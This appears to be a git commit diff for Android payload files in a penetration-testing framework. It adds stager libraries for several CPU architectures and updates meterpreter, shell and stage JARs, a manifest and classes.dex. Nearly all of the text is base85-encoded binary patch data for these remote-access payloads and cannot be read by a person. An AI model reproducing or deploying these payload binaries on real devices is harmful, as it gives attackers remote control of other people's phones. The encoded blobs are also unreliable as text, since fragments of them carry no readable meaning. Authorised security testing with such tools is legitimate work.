data/android/libs/armeabi/libdalvikstager.so | Bin 0 -> 13432 bytes data/android/libs/mips/libdalvikstager.so | Bin 0 -> 5328 bytes data/android/libs/x86/libdalvikstager.so | Bin 0 -> 5220 bytes data/android/meterpreter.jar | Bin 37700 -> 38353 bytes data/android/metstage.jar | Bin 1851 -> 1851 bytes data/android/shell.jar | Bin 1853 -> 1853 bytes 10 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/android/libs/armeabi-v7a/libdalvikstager.so create mode 100644 data/android/libs/armeabi/libdalvikstager.so create mode 100644 data/android/libs/mips/libdalvikstager.so create mode 100644 data/android/libs/x86/libdalvikstager.so diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 6ee7f3e36fed7e9e467fff4db6fd95f5a44848f9..57e86cd85b8f352caeb6fec49f73ddec852c075a 100644 GIT binary patch delta 285 zcmZ9{KS~2Z6vy%J+uhk+$gGIkB(W0$!9uXGu+9Zi2!a+G2&9Nj2o@o*2Z&9WTci+i z19ldkKp{u4unbngMt?RI4t$t-kN1apZLXR{OwOtRW1ok4aaaz4iQLJ%e8`t<8JtQ- z&SfG?Nh7$Fd)dfw3?o^}r<^1(l^5B_j)RtTq$eX;$g|YAoj+aF9Ye0^(bo-*F$2AC z=vQrH^}8X@{DHRoRh$u9 Mrubi1Rr;>|0DUhsL;wH) delta 320 zcmaLSFHb^I7{~G7bN|S7p1ZNhrrWu01{*;F!77lc^U-&dsqD3m1GL466wSOW^|)*$u3$ RO|u`JyM6!9_2SiC*cx>WG`0W$ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 3a45c8b3fbe7179ddfdaa76d4df59f50dc4e90ac..ff39e87f11448e4c3543e9611c6a19b1d18aa857 100644 GIT binary patch literal 10040 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 literal 10700 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 kRp_kbYk`cviKRA literal 1088 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 